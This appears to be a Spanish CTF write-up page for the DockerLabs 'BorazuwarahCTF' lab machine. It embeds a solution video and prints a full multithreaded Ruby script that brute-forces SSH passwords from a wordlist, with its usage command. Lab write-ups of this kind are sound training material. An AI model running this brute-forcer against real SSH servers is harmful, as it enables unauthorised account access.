> For the complete documentation index, see [llms.txt](https://itrox.gitbook.io/itrox/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itrox.gitbook.io/itrox/ctfs/docker-labs/muy-facil/borazuwarahctf.md).

# BorazuwarahCTF

***

## I. Solución

{% embed url="<https://www.youtube.com/watch?v=sipRgm67pY4>" %}

***

## II. Complementos utilizados

trust\_ssh.rb

### 1. Trust SSH

* Desarrollo en Ruby para máquina [Trust](/itrox/ctfs/docker-labs/muy-facil/trust.md) de plataforma Dokcer Labs, que cumple función de Hydra (realizar ataques de diccionario o fuerza bruta sobre paneles de login)

```ruby
#!/usr/bin/env ruby

require 'net/ssh'

THREADS = 20

ip, user, wordlist = ARGV
passwords = File.readlines(wordlist).map(&:chomp)
found = false
result = nil
lock = Mutex.new

threads = THREADS.times.map do
  Thread.new do
    while (!found)
      pass = lock.synchronize { passwords.pop }
      break unless (pass)

      begin
        Net::SSH.start(ip, user,
                      password: pass,
                      auth_methods: ['password'],
                      timeout: 5,
                      non_interactive: true) do |ssh|
          lock.synchronize do
            unless (found)
              found = true
              result = pass
            end
          end
        end
      rescue Net::SSH::AuthenticationFailed
      rescue # no sacar el control de error fuera del auth failed
      end
    end
  end
end

threads.each(&:join)

if (result)
  puts("La pass es #{result}")
else
  puts("No se encontró pass...")
end      
```

* Uso

```bash
ruby trust_ssh.rb IP_HOST USERNAME /path/to/wordlist.txt
```

{% hint style="success" %}

## **MÁQUINA EXPLOTADA**

{% endhint %}

***
